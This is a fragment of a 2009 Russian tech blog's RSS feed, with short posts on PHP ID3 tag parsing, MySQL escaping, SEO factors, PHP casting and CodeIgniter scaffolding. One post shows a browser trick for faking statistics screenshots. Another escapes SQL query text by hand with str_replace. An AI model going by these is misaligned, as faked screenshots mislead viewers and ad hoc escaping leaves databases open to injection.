		<description><![CDATA[ID3 теги (ID3 tag) хранятся в последних 128-ми байтах mp3 файла. Благодаря этому их возможно читать без специальных компонентов. Порядок распределения информации следующий: Byte 1-3 = ID &#8216;TAG&#8217; Byte 4-33 = Title Byte 34-63 = Artist Byte 64-93 = Album Byte 94-97 = Year Byte 98-127 = Comment Byte 128 = Genre Для получения тегов [...]]]></description>
			<content:encoded><![CDATA[<p>ID3 теги (ID3 tag) хранятся в последних 128-ми байтах mp3 файла. Благодаря этому их возможно читать без специальных компонентов.<br />
Порядок распределения информации следующий:<br />
<span id="more-621"></span></p>
<ul>
<li>Byte 1-3 = ID &#8216;TAG&#8217;</li>
<li>Byte 4-33 = Title</li>
<li>Byte 34-63 = Artist</li>
<li>Byte 64-93 = Album</li>
<li>Byte 94-97 = Year</li>
<li>Byte 98-127 = Comment</li>
<li>Byte 128 = Genre</li>
</ul>
<p>Для получения тегов достаточно отформатировать  бинарные строки в соответствии с приведенной последовательностью:</p>
<p><strong><br />
$f = fopen(&#8216;sample.mp3&#8242;, &#8216;rb&#8217;);<br />
rewind($f);<br />
fseek($f, -128, SEEK_END);<br />
$tmp = fread($f,128);<br />
if ($tmp[125] == Chr(0) and $tmp[126] != Chr(0)) {<br />
// ID3 v1.1<br />
$format = &#8216;a3TAG/ a30NAME/ a30ARTISTS/ a30ALBUM/a4YEAR/ a28COMMENT/ x1/C1TRACK/ C1GENRENO&#8217;;<br />
} else {<br />
// ID3 v1<br />
$format = &#8216;a3TAG/ a30NAME/ a30ARTISTS/ a30ALBUM/ a4YEAR/ a30COMMENT/ C1GENRENO&#8217;;<br />
}<br />
$id3tag = unpack($format, $tmp);</strong></p>
<p>Результатов будет  ассоциативный массив со значениями тегов.</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/07/09/php-mp3-id3-tag/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Красивые скрины без Fotoshop-а</title>
		<link>http://saintist.ru/2009/07/02/krasivye-skriny-bez-fotoshop-a/</link>
		<comments>http://saintist.ru/2009/07/02/krasivye-skriny-bez-fotoshop-a/#comments</comments>
		<pubDate>Thu, 02 Jul 2009 21:30:43 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[notes]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=565</guid>
		<description><![CDATA[Все видели красивые скрины статистик или еще чего )). Все довольно просто делается, Фотошоп отдыхает. открываем страницу, ждем пока загрузится вся, в адресную строку вбиваем javascript:document.body.contentEditable=&#8217;true&#8217;; document.designMode=&#8217;on&#8217;; void 0 начинаем редактировать страницу прямо в браузере, делаем скрин, показываем всем кому надо )). ps: довольно боянистая шутка )]]></description>
			<content:encoded><![CDATA[<p>Все видели красивые скрины статистик или еще чего )).<br />
Все довольно просто делается, Фотошоп отдыхает.<br />
<span id="more-565"></span><br />
открываем  страницу, ждем пока загрузится вся, в адресную строку вбиваем</p>
<p><strong>javascript:document.body.contentEditable=&#8217;true&#8217;; document.designMode=&#8217;on&#8217;; void 0</strong></p>
<p>начинаем редактировать страницу прямо в браузере, делаем скрин, показываем всем кому надо )).</p>
<p>ps: довольно боянистая шутка )</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/07/02/krasivye-skriny-bez-fotoshop-a/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Firefox 3.5 как восстановить пароли ?</title>
		<link>http://saintist.ru/2009/07/02/firefox-35-kak-vosstanovit-paroli/</link>
		<comments>http://saintist.ru/2009/07/02/firefox-35-kak-vosstanovit-paroli/#comments</comments>
		<pubDate>Thu, 02 Jul 2009 20:07:06 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[Firefox]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=563</guid>
		<description><![CDATA[При ручном обновлении пропали все сохранённые пароли. Ищем в папке вашего профиля файл signons.sqlite и переименовываем его в signons.sqlite.bak После чего перезапускаем браузер.]]></description>
			<content:encoded><![CDATA[<p>При ручном обновлении  пропали все сохранённые пароли.<br />
<span id="more-563"></span><br />
Ищем в папке вашего профиля файл <strong>signons.sqlite</strong> и переименовываем его в <strong>signons.sqlite.bak</strong> После чего перезапускаем браузер.</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/07/02/firefox-35-kak-vosstanovit-paroli/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MySQL  обратный слеш спецсимволы</title>
		<link>http://saintist.ru/2009/06/24/mysql-obratnyj-slesh-specsimvoly/</link>
		<comments>http://saintist.ru/2009/06/24/mysql-obratnyj-slesh-specsimvoly/#comments</comments>
		<pubDate>Wed, 24 Jun 2009 16:38:31 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[MySQL]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=559</guid>
		<description><![CDATA[Столкнулся с небольшой проблеммой. Самописный скрипт обмена данными между java программой и сервером на php. При добавлении в БД записи одно из значений содержало несколько обратных слешей. Запрос отрабатывался нормально. но вот при выборке данных, в одном месте стоял символ  вместо части символов. Добавлял D:\музыка\!_BEST\bolshoy_detskiy_hor_-_prekrasnoe_daleko.mp3 а в базу записало D:музыка\!_BESTolshoy_detskiy_hor_-_prekrasnoe_daleko.mp3 т.е. \b заменило на [...]]]></description>
			<content:encoded><![CDATA[<p>Столкнулся с небольшой проблеммой.<br />
Самописный скрипт обмена данными между java программой и  сервером на php.<br />
При добавлении  в БД  записи одно из значений содержало несколько обратных  слешей.<br />
<span id="more-559"></span><br />
Запрос отрабатывался нормально. но вот при выборке данных, в одном месте  стоял символ  вместо части символов.</p>
<p>Добавлял<br />
<strong>D:\музыка\!_BEST\bolshoy_detskiy_hor_-_prekrasnoe_daleko.mp3</strong></p>
<p> а в базу записало</p>
<p><strong> D:музыка\!_BESTolshoy_detskiy_hor_-_prekrasnoe_daleko.mp3</strong></p>
<p>т.е. \b заменило на , </p>
<p>\b &#8212;  это символ возврата каретки</p>
<p>Победил просто $request= str_replace(&#8216;\\&#8217;,'\\\\&#8217;,$request);</p>
<p>$request &#8212; текст запроса</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/06/24/mysql-obratnyj-slesh-specsimvoly/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Главные факторы SEO</title>
		<link>http://saintist.ru/2009/06/22/glavnye-faktory-seo/</link>
		<comments>http://saintist.ru/2009/06/22/glavnye-faktory-seo/#comments</comments>
		<pubDate>Mon, 22 Jun 2009 16:58:47 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[SEO]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=556</guid>
		<description><![CDATA[Для самоконтроля Ключевые слова Ключевые слова в названии (+3); Ключевые слова в URL-адресе (+3); Плотность ключевых слов в html-документе (+3); Ключевые слова в заголовках H1 и H2 (+3); Ключевые слова в первом абзаце (+2); Ключевые слова в alt-тегах изображений (+2); Ключевые слова в мета-тегах (+1); Ключевые слова на странице (”избыток ключевых слов” &#8212; многократное повторение) [...]]]></description>
			<content:encoded><![CDATA[<p>Для самоконтроля<br />
<span id="more-556"></span><br />
<strong>Ключевые слова</strong></p>
<ol>
<li>Ключевые слова в названии (+3);</li>
<li> Ключевые слова в URL-адресе (+3);</li>
<li> Плотность ключевых слов в html-документе (+3);</li>
<li> Ключевые слова в заголовках H1 и H2 (+3);</li>
<li> Ключевые слова в первом абзаце (+2);</li>
<li> Ключевые слова в alt-тегах изображений (+2);</li>
<li> Ключевые слова в мета-тегах (+1);</li>
<li> Ключевые слова на странице (”избыток ключевых слов” &#8212; многократное повторение) (-3).</li>
</ol>
<p><strong>Ссылки</strong></p>
<ol>
<li>Текст входящих ссылок (+3);</li>
<li> Происхождение входящих ссылок (+3);</li>
<li> Ссылки от тематических сайтов (+3);</li>
<li> Ссылки с сайтов с авторитетными доменными зонами (+3);</li>
<li> Текст внутренних ссылок (+2);</li>
<li> Большое количество исходящих ссылок (-1);</li>
<li> Исходящие ссылки на сайты с дурной славой (-3);</li>
<li> Перекрестный обмен ссылками (-3).</li>
</ol>
<p><strong>Мета-теги</strong></p>
<ol>
<li>Мета-тег Description &#8212; служит для краткого описания страницы. Он используется поисковиками для индексации и в качестве краткой аннотации в результатах поиска по запросу (+1);</li>
<li> Мета-тег Keywords (+1);</li>
<li> Мета-тег Refresh &#8212; определение задержки времени в секундах, после которой броузер автоматически обновляет/перенаправляет документ (-1).</li>
</ol>
<p><strong>Контент</strong></p>
<ol>
<li>Уникальный контент (+3);</li>
<li> Частые обновления (+3);</li>
<li> Длительность существования контента (+2);</li>
<li> Верстка с ошибками и некачественный дизайн (-2);</li>
<li> Скрытый текст (-3);</li>
<li> Дорвейные страницы (-3);</li>
<li> Дублирующийся контент (-3).</li>
</ol>
<p><strong>Другие факторы</strong></p>
<ol>
<li>Удобство пользования сайтом (+3);</li>
<li> Карта сайта (+2);</li>
<li> Размер страниц сайта (+2);</li>
<li> Возраст домена (+2);</li>
<li> Домен второго уровня (+1);</li>
<li> Длина URL-ов (0);</li>
<li> Нестабильность работы хостинга (-1);</li>
<li> Flash (особенно для навигации и контента) (-2);</li>
<li> Неправильное использование редиректов (-3).</li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/06/22/glavnye-faktory-seo/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>интеграция Google AdWords и Analytics</title>
		<link>http://saintist.ru/2009/06/18/integraciya-google-adwords-i-analytics/</link>
		<comments>http://saintist.ru/2009/06/18/integraciya-google-adwords-i-analytics/#comments</comments>
		<pubDate>Thu, 18 Jun 2009 18:33:05 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[Google]]></category>
		<category><![CDATA[Google Analytics]]></category>
		<category><![CDATA[YouTube и нетолько]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=549</guid>
		<description><![CDATA[Подборка руководств по Google AdWords , AdSense и Analytics интеграция Google AdWords и Analytics Отчеты AdSense в Analytics]]></description>
			<content:encoded><![CDATA[<p>Подборка  руководств по  Google AdWords , AdSense  и Analytics</p>
<p><strong>интеграция Google AdWords и Analytics</strong><br />
<object type="application/x-shockwave-flash" style="width:425px; height:355px;" data="http://www.youtube.com/v/2gGFn8kFKcY&amp;rel=0&amp;color1=0xd6d6d6&amp;color2=0xf0f0f0"><param name="movie" value="http://www.youtube.com/v/2gGFn8kFKcY&amp;rel=0&amp;color1=0xd6d6d6&amp;color2=0xf0f0f0" /></object><br />
<span id="more-549"></span></p>
<p><strong>Отчеты AdSense в Analytics</strong><br />
<object type="application/x-shockwave-flash" style="width:425px; height:355px;" data="http://www.youtube.com/v/eTbLeBpaCyA&amp;rel=0&amp;color1=0xd6d6d6&amp;color2=0xf0f0f0"><param name="movie" value="http://www.youtube.com/v/eTbLeBpaCyA&amp;rel=0&amp;color1=0xd6d6d6&amp;color2=0xf0f0f0" /></object> </p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/06/18/integraciya-google-adwords-i-analytics/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>От чего зависит ранжирование сайта в поисковых системах</title>
		<link>http://saintist.ru/2009/06/18/ot-chego-zavisit-ranzhirovanie-sajta-v-poiskovyx-sistemax/</link>
		<comments>http://saintist.ru/2009/06/18/ot-chego-zavisit-ranzhirovanie-sajta-v-poiskovyx-sistemax/#comments</comments>
		<pubDate>Thu, 18 Jun 2009 18:23:05 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[Google]]></category>
		<category><![CDATA[SEO]]></category>
		<category><![CDATA[Яндекс]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=546</guid>
		<description><![CDATA[Не инструкция, так мысли по поводу факторов влияющих на ранжирование сайта в поисковых системах. Шпоргалка ВНУТРЕННИЕ ФАКТОРЫ Встречаемость ключевых слов запроса в документе. Тошнота страницы Наличие ключевых слов в заголовке ‹TITLE› страницы Наличие ключевых слов в URL страницы Количество и качество внешних ссылок со страницы Релевантность ключевых слов в теле страницы Расположение ключевых слов в [...]]]></description>
			<content:encoded><![CDATA[<p>Не инструкция, так мысли по поводу факторов влияющих на ранжирование сайта в поисковых системах. Шпоргалка<br />
<span id="more-546"></span><br />
<strong>ВНУТРЕННИЕ ФАКТОРЫ</strong></p>
<ol>
<li>Встречаемость ключевых слов запроса в документе. Тошнота страницы</li>
<li> Наличие ключевых слов в заголовке ‹TITLE› страницы</li>
<li> Наличие ключевых слов в URL страницы</li>
<li> Количество и качество внешних ссылок со страницы</li>
<li> Релевантность ключевых слов в теле страницы</li>
<li> Расположение ключевых слов в теле страницы</li>
<li> Расположение ключевых слова относительно друг-друга</li>
<li> Уникальность контента</li>
<li> Общий объем контента и количество страниц сайта</li>
<li> Размер файла</li>
<li> Частота обновлений сайта</li>
<li> Возраст страниц</li>
<li> Ключевые слова в заголовках ‹H1›, ‹H2›, ‹H3›, …</li>
<li> Ключевые слова жирным текстом ‹BOLD›, ‹STRONG›, …</li>
<li> Атрибуты alt и title у различных элементов как картинки, ссылки, и т.п.</li>
<li> Качество верстки. Соответствие стандартам W3C. Уникальность CMS</li>
<li> Качество URL страницы</li>
<li> Структура директорий</li>
<li> Внутренняя перелинковка. Карта сайта</li>
<li> Наличие нерабочих ссылок</li>
<li> Всплывающие Pop Up окна</li>
<li> Наличие вредоносного кода</li>
<li> Наличие редиректа</li>
<li> META теги</li>
<li> Доменная зона</li>
<li> Возраст домена</li>
<li> Срок продления домена</li>
<li> Выделенный IP хостинга</li>
<li> Трастовость хостинга в случае доменного имени третьего уровня</li>
<li> Параметры Интернет-канала и стабильность хостинга</li>
</ol>
<p><strong>ВНЕШНИЕ ФАКТОРЫ</strong></p>
<ol>
<li>вИЦ и Trust Rank сайта</li>
<li> Яндекс тИЦ, Google Page Rank и другие показатели</li>
<li> Наличие в авторитетном каталоге. Например, в Яндекс Каталоге, DMOZ</li>
<li> Присвоенная сайту тематика</li>
<li> Присвоенный регион</li>
<li> Присвоенный тип</li>
<li> Количество проиндексированных страниц</li>
<li> Количество ссылающихся страниц</li>
<li> Анкор ссылок с ссылающихся сайтов</li>
<li> Тематика сайтов доноров</li>
<li> Яндекс тИЦ, Google Page Rank и другие показатели ссылающихся сайтов</li>
<li> Авторитетность ссылающихся сайтов</li>
<li> Доменная зона, язык ссылающихся сайтов</li>
<li> Качество ссылающихся сайтов</li>
<li> Интенсивность появления и исчезания ссылающихся страниц</li>
<li> Количество ссылок с главных страниц</li>
<li> Количество ссылок с внутренних страницы</li>
<li> Количество сквозных ссылок</li>
<li> Количество ссылок на главную страницу</li>
<li> Количество ссылок на внутренние страницы</li>
<li> Склейка домена</li>
</ol>
<p><strong>ДОПОЛНИТЕЛЬНЫЕ ФАКТОРЫ</strong></p>
<ol>
<li>Естественность ссылок</li>
<li> Число поисковых запросов по заданным ключевым словам</li>
<li> Вручную установленная авторитетность сайта</li>
<li> Число поисковых запросов по названию сайта, домену сайта</li>
<li> Количество, качество и источники посетителей; время проведенное на сайте</li>
<li> Непосредственная регистрация сайта в поисковых системах. Например, Яндекс Вебмастер, Инструменты для веб мастеров Google.</li>
<li> Авторитетность остальных сайтов данного вебмастера. Определяется по Whois и другим признакам</li>
<li> Снипплет сайта</li>
<li> Наличие рекламы на сайте. В том числе контекстной рекламы конкурирующей поисковой системы</li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/06/18/ot-chego-zavisit-ranzhirovanie-sajta-v-poiskovyx-sistemax/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>php  конвертация объекта в массив</title>
		<link>http://saintist.ru/2009/06/18/php-object-to-array/</link>
		<comments>http://saintist.ru/2009/06/18/php-object-to-array/#comments</comments>
		<pubDate>Thu, 18 Jun 2009 17:18:32 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=540</guid>
		<description><![CDATA[Как конвертировать объект в массив. PHP5 $item = array( "color" =&#62; "black", "size" =&#62; "medium", "pieces" =&#62; 100, "cost" =&#62; 44.99 ); $itemObject = (object) $item; echo "Array as object:\n"; print_r($itemObject); echo "\n"; $itemArray = (array) $itemObject; echo "Object as array:\n"; print_r($itemArray); вернет Array as object: stdClass Object ( [color] =&#62; black [size] =&#62; medium [...]]]></description>
			<content:encoded><![CDATA[<p>Как конвертировать объект в массив. PHP5<span id="more-540"></span></p>
<pre style="padding: 5px; color: #d1d1d1; background-color: #000000;"><span style="color: #ffffff;">$item</span><span style="color: #ffffff;"> </span><span style="color: #d2cd86;">=</span><span style="color: #ffffff;"> </span><span style="color: #e66170; font-weight: bold;">array</span><span style="color: #d2cd86;">(</span>
<span style="color: #ffffff;">    </span><span style="color: #00c4c4;">"color"</span><span style="color: #ffffff;"> </span><span style="color: #d2cd86;">=</span><span style="color: #d2cd86;">&gt;</span><span style="color: #ffffff;"> </span><span style="color: #00c4c4;">"black"</span><span style="color: #d2cd86;">,</span>
<span style="color: #ffffff;">    </span><span style="color: #00c4c4;">"size"</span><span style="color: #ffffff;"> </span><span style="color: #d2cd86;">=</span><span style="color: #d2cd86;">&gt;</span><span style="color: #ffffff;"> </span><span style="color: #00c4c4;">"medium"</span><span style="color: #d2cd86;">,</span>
<span style="color: #ffffff;">    </span><span style="color: #00c4c4;">"pieces"</span><span style="color: #ffffff;"> </span><span style="color: #d2cd86;">=</span><span style="color: #d2cd86;">&gt;</span><span style="color: #ffffff;"> </span><span style="color: #008c00;">100</span><span style="color: #d2cd86;">,</span>
<span style="color: #ffffff;">    </span><span style="color: #00c4c4;">"cost"</span><span style="color: #ffffff;"> </span><span style="color: #d2cd86;">=</span><span style="color: #d2cd86;">&gt;</span><span style="color: #ffffff;"> </span><span style="color: #009f00;">44.99</span>
<span style="color: #d2cd86;">)</span><span style="color: #b060b0;">;</span>

<span style="color: #ffffff;">$itemObject</span><span style="color: #ffffff;"> </span><span style="color: #d2cd86;">=</span><span style="color: #ffffff;"> </span><span style="color: #d2cd86;">(</span><span style="color: #bb7977;">object</span><span style="color: #d2cd86;">)</span><span style="color: #ffffff;"> </span><span style="color: #ffffff;">$item</span><span style="color: #b060b0;">;</span>

<span style="color: #e66170; font-weight: bold;">echo</span><span style="color: #ffffff;"> </span><span style="color: #00c4c4;">"Array as object:</span><span style="color: #008080;">\n</span><span style="color: #00c4c4;">"</span><span style="color: #b060b0;">;</span>
<span style="color: #e66170; font-weight: bold;">print_r</span><span style="color: #d2cd86;">(</span><span style="color: #ffffff;">$itemObject</span><span style="color: #d2cd86;">)</span><span style="color: #b060b0;">;</span>
<span style="color: #e66170; font-weight: bold;">echo</span><span style="color: #ffffff;"> </span><span style="color: #00c4c4;">"</span><span style="color: #008080;">\n</span><span style="color: #00c4c4;">"</span><span style="color: #b060b0;">;</span>

<span style="color: #ffffff;">$itemArray</span><span style="color: #ffffff;"> </span><span style="color: #d2cd86;">=</span><span style="color: #ffffff;"> </span><span style="color: #d2cd86;">(</span><span style="color: #e66170; font-weight: bold;">array</span><span style="color: #d2cd86;">)</span><span style="color: #ffffff;"> </span><span style="color: #ffffff;">$itemObject</span><span style="color: #b060b0;">;</span>
<span style="color: #e66170; font-weight: bold;">echo</span><span style="color: #ffffff;"> </span><span style="color: #00c4c4;">"Object as array:</span><span style="color: #008080;">\n</span><span style="color: #00c4c4;">"</span><span style="color: #b060b0;">;</span>
<span style="color: #e66170; font-weight: bold;">print_r</span><span style="color: #d2cd86;">(</span><span style="color: #ffffff;">$itemArray</span><span style="color: #d2cd86;">)</span><span style="color: #b060b0;">;</span></pre>
<p>вернет</p>
<pre style="padding: 5px; background-color: #eeeeee;">Array as object:
<strong>stdClass Object</strong>
(
    [color] =&gt; black
    [size] =&gt; medium
    [pieces] =&gt; 100
    [cost] =&gt; 44.99
)

Object as array:
<strong>Array</strong>
(
    [color] =&gt; black
    [size] =&gt; medium
    [pieces] =&gt; 100
    [cost] =&gt; 44.99
)</pre>
<p>а как будет работать с защищенными и приватными свойствами объекта?</p>
<pre style="padding: 5px; color: #d1d1d1; background-color: #000000;"><span style="color: #e66170; font-weight: bold;">class</span><span style="color: #ffffff;"> Casting</span>
<span style="color: #b060b0;">{</span>
<span style="color: #ffffff;">    </span><span style="color: #e66170; font-weight: bold;">public</span><span style="color: #ffffff;"> </span><span style="color: #ffffff;">$pub</span><span style="color: #ffffff;"> </span><span style="color: #d2cd86;">=</span><span style="color: #ffffff;"> </span><span style="color: #00c4c4;">"I'm a public member"</span><span style="color: #b060b0;">;</span>
<span style="color: #ffffff;">    </span><span style="color: #e66170; font-weight: bold;">protected</span><span style="color: #ffffff;"> </span><span style="color: #ffffff;">$pro</span><span style="color: #ffffff;"> </span><span style="color: #d2cd86;">=</span><span style="color: #ffffff;"> </span><span style="color: #00c4c4;">"I'm a protected from outlanders"</span><span style="color: #b060b0;">;</span>
<span style="color: #ffffff;">    </span><span style="color: #e66170; font-weight: bold;">private</span><span style="color: #ffffff;"> </span><span style="color: #ffffff;">$pri</span><span style="color: #ffffff;"> </span><span style="color: #d2cd86;">=</span><span style="color: #ffffff;"> </span><span style="color: #00c4c4;">"I'm a hidden property"</span><span style="color: #b060b0;">;</span>
<span style="color: #b060b0;">}</span>

<span style="color: #ffffff;">$casting</span><span style="color: #ffffff;"> </span><span style="color: #d2cd86;">=</span><span style="color: #ffffff;"> </span><span style="color: #e66170; font-weight: bold;">new</span><span style="color: #ffffff;"> Casting</span><span style="color: #d2cd86;">(</span><span style="color: #d2cd86;">)</span><span style="color: #b060b0;">;</span>

<span style="color: #e66170; font-weight: bold;">print_r</span><span style="color: #d2cd86;">(</span><span style="color: #ffffff;">$casting</span><span style="color: #d2cd86;">)</span><span style="color: #b060b0;">;</span>
<span style="color: #e66170; font-weight: bold;">print_r</span><span style="color: #d2cd86;">(</span><span style="color: #d2cd86;">(</span><span style="color: #e66170; font-weight: bold;">array</span><span style="color: #d2cd86;">)</span><span style="color: #ffffff;"> </span><span style="color: #ffffff;">$casting</span><span style="color: #d2cd86;">)</span><span style="color: #b060b0;">;</span></pre>
<p>Вернет</p>
<pre style="padding: 5px; background-color: #eeeeee;">Casting Object
(
    [pub] =&gt; I'm a public member
    [pro:protected] =&gt; I'm a protected from outlanders
    [pri:private] =&gt; I'm a hidden property
)
Array
(
    [pub] =&gt; I'm a public member
    <strong>[*pro]</strong> =&gt; I'm a protected from outlanders
    <strong>[Castingpri]</strong> =&gt; I'm a hidden property
)</pre>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/06/18/php-object-to-array/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Scaffolding CodeIgniter</title>
		<link>http://saintist.ru/2009/06/18/scaffolding-codeigniter/</link>
		<comments>http://saintist.ru/2009/06/18/scaffolding-codeigniter/#comments</comments>
		<pubDate>Thu, 18 Jun 2009 05:47:58 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[php CodeIgniter]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=533</guid>
		<description><![CDATA[Скаффолдинг (Scaffolding) &#8212; это одно из средств, которое используют для добавления, удаления и изменения данных в вашей СУБД в процессе разработки приложений на CodeIgniter. Скаффолдинг обычно используется только в ходе разработки, но в принципе никто не ограничивает его использование в уже существующих web-приложениях. Только нужно помнить, что скаффолдинг требует наличия PRIMARY_KEY в таблице с которой [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://saintist.ru/wp-content/uploads/2009/06/ci_logo_flame.jpg"><img class="alignnone size-full wp-image-534" title="ci_logo_flame" src="http://saintist.ru/wp-content/uploads/2009/06/ci_logo_flame.jpg" alt="ci_logo_flame" width="150" height="164" /></a></p>
<p><strong>Скаффолдинг (Scaffolding)</strong> &#8212; это одно из средств, которое используют для добавления, удаления и изменения данных в вашей СУБД в процессе разработки приложений на CodeIgniter.</p>
<p>Скаффолдинг обычно используется только в ходе разработки, но в принципе никто не ограничивает его использование в уже существующих web-приложениях. Только нужно помнить, что скаффолдинг требует наличия PRIMARY_KEY в таблице с которой вы хотите работать с его помощью.<br />
<span id="more-533"></span></p>
<p>Для этих целей можно использовать и <strong>phpMyAdmin </strong>или, например, <strong>MySQL Query Browser</strong>. Но дело в том, что Scaffolding не перегружен ничем лишним и используется только для того чтобы изменять, добавлять и удалять записи в базе данных и не для чего больше. Чтобы продемонстрировать его в действии нам потребуется соединение с MySQL, настроенный <strong>CodeIgniter </strong>и хотя бы один контроллер, который присутствует в дистрибутиве по умолчанию. Файл с контроллером по умолчанию  называется <strong>welcome.php</strong> и находится в директории <strong>system\application\controllers</strong>.Создадим базу данных и таблицу в MySQL для нашего примера.</p>
<p>Включим скаффолдинг, для этого открываем файл <strong>system/application/config/routes.php</strong>, ищем в конце файла строку</p>
<p><span class="Apple-style-span" style="border-collapse: separate; color: #000000; font-family: 'Times New Roman'; font-size: 16px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"><span class="Apple-style-span" style="font-family: Consolas; font-size: 13px; line-height: 14px; text-align: left; text-indent: -19px;"><code class="variable" style="border-width: 0px ! important; margin: 0px ! important; padding: 0px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; color: #aa7700 ! important;">$route</code><code class="plain" style="border-width: 0px ! important; margin: 0px ! important; padding: 0px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; color: #000000 ! important;">[</code><code class="string" style="border-width: 0px ! important; margin: 0px ! important; padding: 0px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; color: blue ! important;">'scaffolding_trigger'</code><code class="plain" style="border-width: 0px ! important; margin: 0px ! important; padding: 0px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; color: #000000 ! important;">] =<span class="Apple-converted-space"> </span></code><code class="string" style="border-width: 0px ! important; margin: 0px ! important; padding: 0px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; color: blue ! important;">""</code><code class="plain" style="border-width: 0px ! important; margin: 0px ! important; padding: 0px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; color: #000000 ! important;">;</code></span></span></p>
<p><span class="Apple-style-span" style="border-collapse: separate; color: #000000; font-family: 'Times New Roman'; font-size: 16px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"><span class="Apple-style-span" style="font-family: Consolas; font-size: 13px; line-height: 14px; text-align: left; text-indent: -19px;"><br />
</span></span></p>
<p>и изменяем значение переменной $route['scaffolding_trigger'] например на scaffolding. Хочу сразу отметить, что значение переменной $route['scaffolding_trigger'] не должно начинаться с подчеркивания.</p>
<p>В контроллер <strong>system\application\controllers\welcome.php</strong>, дописываем в его конструктор строку<br />
[soucecode language="php"]$this-&gt;load-&gt;scaffolding(’test_table’);[/sourcecode].<br />
Таким образом мы говорим CodeIgniter’у, что необходимо подгрузить скаффолдинг при обращении к адресу контроллера.</p>
<p>ps: функция класса описывающаяся, как function __construct().</p>
